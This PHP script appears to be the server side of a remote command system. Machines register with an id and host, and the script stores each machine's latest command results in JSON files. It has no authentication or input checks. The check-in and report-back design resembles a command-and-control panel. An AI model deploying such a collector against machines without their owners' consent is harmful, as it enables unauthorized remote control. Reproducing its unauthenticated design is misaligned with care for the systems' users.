<?php
header("Content-Type: application/json");

$pcsFile     = "pcs.json";
$resultsFile = "results.json";

$data   = $_POST;
$action = $data['action'] ?? null;

if (!$action) {
    echo json_encode(["error" => "no action"]);
    exit;
}

if (!file_exists($pcsFile))     file_put_contents($pcsFile,     "{}");
if (!file_exists($resultsFile)) file_put_contents($resultsFile, "{}");

$pcs     = json_decode(file_get_contents($pcsFile),     true) ?? [];
$results = json_decode(file_get_contents($resultsFile), true) ?? [];

// ── register ──────────────────────────────────────────────────
if ($action == "register") {
    $id   = $data['id'];
    $host = $data['host'];

    $pcs[$id] = [
        "host"      => $host,
        "last_seen" => time()
    ];

    file_put_contents($pcsFile, json_encode($pcs, JSON_PRETTY_PRINT), LOCK_EX);
    echo json_encode(["status" => "ok"]);
    exit;
}

// ── result ────────────────────────────────────────────────────
if ($action == "result") {
    $id     = $data['id']     ?? null;
    $cmd_id = $data['cmd_id'] ?? null;
    $result = $data['result'] ?? null;

    if (!$id) {
        echo json_encode(["error" => "missing id"]);
        exit;
    }

    // Un solo bloque por PC (clave = id de la PC)
    // Siempre reemplaza con el resultado mas reciente
    $results[$id] = [
        "id"     => $id,
        "cmd_id" => $cmd_id,
        "result" => $result,
        "time"   => time()
    ];

    file_put_contents($resultsFile, json_encode($results, JSON_PRETTY_PRINT), LOCK_EX);
    echo json_encode(["status" => "ok"]);
    exit;
}

echo json_encode(["error" => "invalid action"]);